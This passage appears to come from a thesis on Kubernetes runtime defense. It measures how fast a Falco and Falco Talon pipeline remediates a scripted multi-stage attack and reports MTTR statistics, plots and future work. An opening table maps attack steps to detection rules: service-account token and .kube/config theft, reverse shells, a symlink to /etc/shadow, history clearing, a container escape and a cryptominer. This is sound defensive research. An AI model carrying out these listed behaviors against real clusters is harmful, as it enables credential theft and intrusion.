tem Mount / exec of suspicious
tool

Yes

chroot /host and write proof
file

Container Escape via Chroot Yes

Read SA token K8s Token Read by Shell or Script Yes
HTTP exfiltration to C2 Outbound Connection to Sus-

picious Port / Exfiltration via
Python (custom)

Yes

Harvest env/ /.kube/config Read sensitive file untrusted (host)
/ custom grep rule (container)

Yes

Port scan (Python sockets) Network Port Scan with Python
(custom)

Yes

Reverse shells (4444/7456) Outbound Connection to Suspi-
cious Port

Yes

Symlink to /etc/shadow Create Symlink Over Sensitive
Files

Yes

Execute renamed /tmp/a.py
(cat)

Cryptic interpreter/binary mis-
match (custom)

Yes

Clear shell history Deletion or Truncation of Shell
History (custom)

Yes

Run short cryptominer (xmx2) Cryptominer Process Detected Yes
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A representative Falco rule hit appears in Figure 8, showing the rule
name, priority, UTC time, and key output_fields such as k8s.ns.name,
k8s.pod.name, and proc.*.

Figure 8: Example Falco logs (JSON) for a rule hit. Note the Kubernetes context
and human-readable summary.

Certain behaviors (e.g., several network events in rapid succession) can yield
multiple alerts whose order may vary by milliseconds. Correlation therefore prior-
itizes rule name and event time, allows a small look-ahead window when pairing
detection with response (Section 4.3.2), and reports medians and percentiles
rather than single events.

4.3 Automated Remediation Validation
This section evaluates the end-to-end runtime defense pipeline built in the lab
(Falco [11, 15] → Falcosidekick [12] → Falco Talon [14, 13]). The multistage
intrusion (Section 3.2.4) is run repeatedly to accumulate timing measurements,
which quantify how quickly the system moves from a detection signal to a
concrete mitigation.

4.3.1 Key Metric: Mean Time To Remediate (MTTR)

Mean Time To Remediate (MTTR) is defined as the elapsed time between
the moment Falco emits a detection event for a specific rule (timestamped in
Falco’s JSON log) and the moment Falco Talon logs that it executed at least one
configured action in response (e.g., labeling a pod, applying a NetworkPolicy,
starting a short packet capture):

MTTR = ttalon-action − tfalco-alert.

A lower MTTR shrinks the adversary’s opportunity window to exfiltrate data,
pivot, or escalate. Other metrics (precision/recall of rules, false positive impact,
resource overhead) also matter, but MTTR uniquely captures how fast the
system contains an unfolding incident after a valid detection. Both central
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tendency and dispersion (mean/median, p90) are reported to characterize typical
behavior and long-tail outliers.

4.3.2 Methodology for Data Collection

The scripted multi-stage attack is executed repeatedly to collect Falco and Talon
logs. A single parser, metrics.py, correlates events across these sources and
writes a canonical CSV (mttr_events.csv) that downstream notebooks use for
visualization.

Log sources:
• Falco logs: Pod(s) from the Falco DaemonSet, JSON records with fields such

as rule, priority, time, and Kubernetes enrichment (pod, namespace).

• Talon logs: Deployment pods from Falco Talon, plaintext lines with times-
tamps and action notifications (e.g., “Executing action”, “Action executed
successfully”).
For correlating the events the script first attempts to pair a Falco event to a

Talon line that references the same rule name and occurs after the alert within a
small lookahead window. If no explicit rule string is present in the Talon log, it
falls back to the first action line after the Falco timestamp (still bounded by the
lookahead). The delta between these timestamps is the MTTR for that alert.

Illustrative snippet from metrics.py (simplified):

# Build lists of (time, rule) from Falco and (time, maybe_rule, raw)
from Talon
# Then correlate
pairs = []
for tf, rule in falco_events:

chosen = None
# Prefer same-rule matches
for tt, trule, line in talon_events:

if trule != rule or tt < tf:
continue

if (tt - tf).total_seconds() > MAX_LOOKAHEAD_SEC:
break

chosen = (tt, "rule-match")
break

# Fallback: any Talon action soon after tf
if not chosen:

for tt, trule, line in talon_events:
if tt < tf:

continue
if (tt - tf).total_seconds() > MAX_LOOKAHEAD_SEC:

break
chosen = (tt, "time-only")
break

if chosen:
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dt = (chosen[0] - tf).total_seconds() # MTTR
pairs.append((tf, rule, chosen[0], dt, chosen[1]))

The final CSV contains one row per matched alert with fields time_falco,
rule, time_talon, mttr_sec, and match_mode (“rule-match” or “time-only”).
The rule-name match removes most ambiguity. The time-only fallback is a
conservative heuristic for noisy logs and can mis-attribute actions if many alerts
fire in the same narrow interval; this is mitigated by a short lookahead and
multiple repeated runs to average out noise.

Figure 9: Output of metrics.py

4.3.3 Data Visualization and Analysis

The mttr_events.csv dataset is analyzed in a short Python notebook that
produces the figures in this section. The excerpt below shows the essential steps:
loading the data, computing the ECDF (Empirical Cumulative Distribution
Function), and generating the histogram, boxplot (by rule), and summary bar
chart.

These plots jointly characterize response latency globally and per behavior.
The histogram provides a first look at overall shape (unimodal vs. multi-modal;
presence of a long right tail). Because binning can distort perception, the ECDF
complements it by enabling direct percentile claims (e.g., “p90 <2.5 s”). Boxplots
summarize per-rule consistency: tight IQRs imply stable response paths; wider
boxes or many outliers suggest contention or extra controller hops. The bar
chart juxtaposes mean, median, and p90 to communicate both central tendency
and tail behavior for the most frequent rules.
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4.3.4 Overall distribution (Histogram)

Figure 10: Distribution of MTTR across all matched events (log-scaled x-axis).

Analysis:
Let N denote the number of matched detection→action events. From the per–
rule counts (Figure 13 and Table 16) we have N ≈ 77 observations across the
six rules considered. The histogram in Figure 10 uses a log-scaled x-axis; each
bar therefore spans a multiplicative MTTR range.
• Dominant operating band (8–20 s). The tall cluster centred at 101

seconds corresponds to MTTR ≈ 8–20 s. Visual counts indicate this band
contains ∼70–74 of the N ≈ 77 events (≈ 91–96%), consistent with rule
medians in the 11–14 s range.

• Sub–15 s share. Most mass is between 10 and 15 s. By bar heights, ∼70–72
events (about 90–94%) are ≤ 15 s. This aligns with the ECDF (Figure 11),
which reaches ≈ 0.93 by 15 s.

• Left tail (fast paths). A few events fall below 5 s (bars near 0.9–2 s), on
the order of 3–4 events, typically when Talon is warm and the cluster is idle.

• Long tail (slow paths). Three distinct right-tail bars: ∼80 s, ∼120–130 s,
and ∼710 s. With N ≈ 77, that’s ∼ 3/77 ≈ 3.9% materially slower remedia-
tions.

• Interpretation. The 8–20 s body is the pipeline’s steady state. The few
right-tail points reflect cold starts, temporary CPU pressure on the single

56



Minikube node, or bursts of concurrent alerts; these reappear in the per-rule
analysis.

4.3.5 Cumulative response performance (ECDF)

Figure 11: Empirical CDF (ECDF) of MTTR. For any t on the x axis, the curve
height is the fraction remediated in ≤ t seconds.

Service-level view: From Figure 11:
• Median (p50). Curve crosses 0.5 at t ≈ 12.3 s ⇒ half of detections are

remediated within ∼12–13 s.

• Upper quartile (p75). Around t ≈ 13.3 s, ECDF ≈ 0.75.

• SLO band (p90). ECDF reaches ≈ 0.90 by t ≈ 15.0 s ⇒ at least 90% of
detections → actions in ∼15 s.

• High-confidence bound (p95). By t ≈ 20 s the curve is ≈ 0.98; only ∼ 2%
exceed 20 s.

• Extreme tail. Two small steps in the 100–200 s region and a final step near
∼710 s. Worst observed MTTR ≈ 710 s; ∼99th percentile in O(102) s.
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4.3.6 Consistency by rule (Boxplot)

Figure 12: MTTR by detection rule for the most frequent alerts. Boxes show
IQR; whiskers show spread; the line is the median.

Per-rule medians and dispersion: From Figure 12 (medians to 0.1 s; IQR
(interquantile range) estimated from box heights):
• Data Exfiltration via Python: median t̃ ≈ 12.4 s; IQR ≈ [11.0, 14.7] s.

Moderate spread—bursty POSTs can queue.

• Privileged Pod with Root Filesystem Mount: median t̃ ≈ 12.6 s; IQR
≈ [12.0, 13.1] s. Stable path (label + optional capture).

• Packet socket created in container: median t̃ ≈ 11.3 s; IQR ≈ [11.2, 11.4] s
(tightest and most deterministic).

• Drop and execute new binary in container: median t̃ ≈ 12.3 s; IQR
≈ [12.2, 12.4] s (very consistent).

• Network Port Scan with Python: median t̃ ≈ 13.7 s; IQR ≈ [12.1, 14.7] s.
Box/whiskers sit in the teens, but (as the bar chart shows) there are rare
very large outliers not drawn when fliers are suppressed.

• Cryptominer Process Detected: median t̃ ≈ 13.9 s; IQR ≈ [13.1, 14.1] s.
Slightly slower due to optional termination/extra labeling.1

1Per-rule N (12–14 each) is in Table 16.
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4.3.7 Summary statistics by rule (Bar chart)

Figure 13: Per-rule MTTR summary (mean, median, and 90th percentile).

In Figure 13, most rules exhibit tight and stable response times: the mean and
median are nearly the same and sit in the really low seconds, with p90 only
slightly higher, indicating predictable end-to-end behavior for Data Exfiltration
via Python, Privileged Pod with Root Filesystem Mount, Packet socket created
in container, and Cryptominer Process Detected. Two categories stand out:
Drop and execute new binary in container shows a noticeably higher mean than
median evidence of occasional slow paths that lift the average while Network
Port Scan with Python presents the most pronounced tail, with p90 far above
the rest despite a modest median. Together these patterns suggest that long
latencies are concentrated in a small set of bursty detections (often coupled with
multiple actions such as egress isolation and short packet capture), whereas the
majority of rules deliver consistently fast remediation.

4.3.8 Tabular summary of MTTR by rule

The table below is the per-rule summary produced by the analysis notebook
from the raw mttr_events.csv. It reports the number of matched events (N)
and four descriptive statistics per rule.

Table 16: Summary MTTR statistics per rule (from mttr_summary.csv).

Rule N Mean
(s)

Median
(s)

p90 (s) Max (s)

Data Exfiltration via Python 14 12.168 11.930 15.190 18.410
Privileged Pod with Root Filesystem
Mount

13 12.640 12.600 13.100 13.100

Packet socket created in container 12 11.273 11.240 11.340 11.360
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Table 16 (continued)
Rule N Mean

(s)
Median
(s)

p90 (s) Max (s)

Drop and execute new binary in container 12 12.289 12.260 12.640 12.730
Network Port Scan with Python 13 12.486 12.230 13.530 13.530
Cryptominer Process Detected 13 13.564 13.900 14.060 14.090

Overall, the pipeline exhibits fast and stable responses across repeated
runs: most alerts are remediated within roughly 10–15 s, with tight per-rule
spreads when a single, deterministic action is taken (e.g., labeling or short packet
capture). The small right tail is attributable to first-time controller work (e.g.,
initial NetworkPolicy reconciliation) and occasional resource contention on the
single-node testbed. From an operational perspective, the ECDF and per-rule
statistics indicate that the detection→response loop closes quickly enough to
halt scripted exfiltration and interactive C2 sessions before sustained damage,
while keeping disruption low for benign workloads.
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5 Future Work and Conclusions
This section synthesizes the main findings, states the study’s assumptions and
limitations, and outlines concrete avenues for future work. The core contribution
is an auditable, Kubernetes–native pipeline that turns precise runtime signals
into rapid mitigations. Across repeated runs, the system consistently closed the
loop from Falco alert to Talon action in roughly 10–15 s for the most frequent
behaviors, which was fast enough to halt scripted exfiltration and interactive C2
sessions while keeping disruption low for benign workloads.

All measurements were taken on a single–node Minikube cluster under modest
load. This environment was chosen for determinism and ease of reproduction, but
multi–node production clusters will introduce additional latency and variance due
to API server scheduling, controller reconciliation, CNI policy convergence, and
noisy-neighbor effects. The p90 and p99 tails may therefore shift upward. The
scripted attack covers common behaviors (credential reads, HTTP exfiltration,
a cryptominer, container escape attempts), yet real adversaries adapt. To
mitigate this gap, the evaluation included multiple tactic classes (persistence,
evasion, escape, discovery) and publishes the exact rules, actions, and scripts
to support reproduction. Empirically, median response across key behaviors
was approximately 10–15 s. Automated egress isolation and labeling reduced
attack surface during active exfiltration/C2, while short packet captures provided
immediate context at negligible cost. Pod termination remains a last resort for
clearly dangerous, repeated behaviors.

A first line of future work is to blend this fast reactive core with anticipatory
planning. Risk signals can be used to pre-position mitigations for likely next
steps (for example, precomputing egress scopes or candidate migration targets
per namespace) and to introduce cost-aware decision making that satisfies service
SLOs while maximizing threat reduction, in the spirit of WARP and ACE–WARP
[5, 6]. The same MTTR instrumentation used here can remain the outcome
metric for residual events that are not handled proactively, while interdiction
rate and cost envelopes quantify the anticipatory layer.

Large language models (LLMs) can assist also. Three concrete opportunities
are: (i) triage and summarization, condensing bursts of Falco events and Talon
actions into compact incident narratives that link to ATT&CK tactics and
the affected cluster objects, (ii) rules from intent, turning natural language
objectives (e.g., “block exfiltration from ns=prod except to S3 endpoint X”) into
candidate Falco/Talon rules and NetworkPolicies that are subsequently validated
by static checkers and policy tests, and (iii) decision support, explaining trade-
offs when multiple mitigations are feasible, while a verifiable planner (not the
LLM) executes the final action. A guiding principle is “LLM in the loop, policy
at the edge”: the model proposes, but admission controllers and typed policy
engines (e.g., OPA/Rego) enforce.

Beyond hand-written mappings, response policies can be learned from logged
episodes. The path forward is to define a safe policy space (label/isolate/-
capture/terminate with bounded durations and scopes), learn mappings from
features (rule, namespace, recent error rates, service labels) to actions using
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supervised or contextual methods, and deploy learned policies behind shadow
evaluation. Each candidate policy must pass conformance tests that replay past
attacks and verify expected outcomes before activation.

Progress in this area depends on shared, labeled datasets. A tangible contri-
bution is to release the multi-stage payloads and Falco/Talon rules together with
timestamped logs and ground-truth stage annotations, plus scenario descriptors
that specify which tactics were executed and which mitigations should trigger.
Such collection enable fair comparisons across kernels, CNIs, and rule sets, and
support future learning work.

Closer ties between runtime signals, admission control, and supply chain
policy are promising. Two practical mechanisms are short-term risk leases, when
a namespace emits a burst of exfiltration signals, apply a temporary, narrow
egress policy, and policy overlays driven by provenance: pods without attested
images (signature/SBOM) run with stricter defaults (no hostPath, no NET_RAW,
egress allowlists). ProSPEC-style precomputation can keep these checks fast
[17].

Forensics can be made lighter without sacrificing evidentiary value. Adaptive
captures (event-triggered and budget-capped) and kernel-level digests (flow meta-
data, process trees) should be evaluated against full packet capture, including
how quickly captures begin relative to the first egress packet and whether earlier
hooks (e.g., TC/BPF at the pod veth) reduce evidence loss.

Practical benchmark for any cluster.
The methodology in this thesis can be used to evaluate any Kubernetes detection–
response stack without vendor lock-in. Create a quarantined namespace, deploy
the provided payload-server and attack-sim (dropper), run the scripted
run.sh, and collect your detector’s alerts and your responder’s action logs. Then
compute MTTR and tail percentiles with the supplied scripts. If you do not use
Falco/Talon, simply map “alert time” and “action time” to your own system’s
log fields. The rest of the pipeline is unchanged.
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Table 17: Future work experiments. What each evaluates and the concrete
artifacts/metrics it should produce.

Experiment What it evaluates Artifacts / metrics

Proactive + reactive fusion (risk
leases, pre-positioned policies)

Whether anticipatory isolation or
precomputed mitigations lower
successful exfiltration while keep-
ing SLOs

Interdiction rate;
added latency budget;
MTTR of residual (non-
proactively handled)
events

Scale and load ablations across
CNIs/kernels/charts

Which pipeline stage dominates
p90/p99 MTTR at scale and un-
der contention

Per-component timing
(Falco→Sidekick→Talon
transport, API apply,
NetworkPolicy conver-
gence); MTTR distribu-
tions per driver/CNI/ker-
nel/chart

LLM triage, rule synthesis, and
decision support

Whether LLM assistance reduces
analyst effort and helps propose
safe draft rules/actions without re-
gressions

Analyst task time/error
vs. baseline; drafted-vs-
approved policy diffs;
conformance pass/fail;
human-readable incident
summaries quality

Learned response policies within
a safety envelope

If data-driven mappings can
choose label/isolate/capture/ter-
minate as well as hand-written
rules

Policy learning curves;
shadow-mode evaluation;
safety checks; regression
tests replaying past at-
tacks

Shared datasets and reproducibil-
ity kit

Enabling fair comparison across
clusters, CNIs, and rule sets

Released payloads and
rulebooks; timestamped
Falco/Talon logs with
stage annotations; sce-
nario descriptors; MTTR
scripts

Admission and supply-chain
integration

How runtime risk should in-
form admission/build gates with-
out adding latency

Prototype policies (risk
“leases”, provenance-
based overlays); admis-
sion latency impact;
violation/exception logs

Lightweight forensics alternatives How to preserve evidentiary value
with lower overhead than full
PCAP

Trigger-and-budgeted
capture configs; kernel-
level digests (flows, proc
trees); start-time vs. first-
egress gaps; TC/BPF
veth hook measurements
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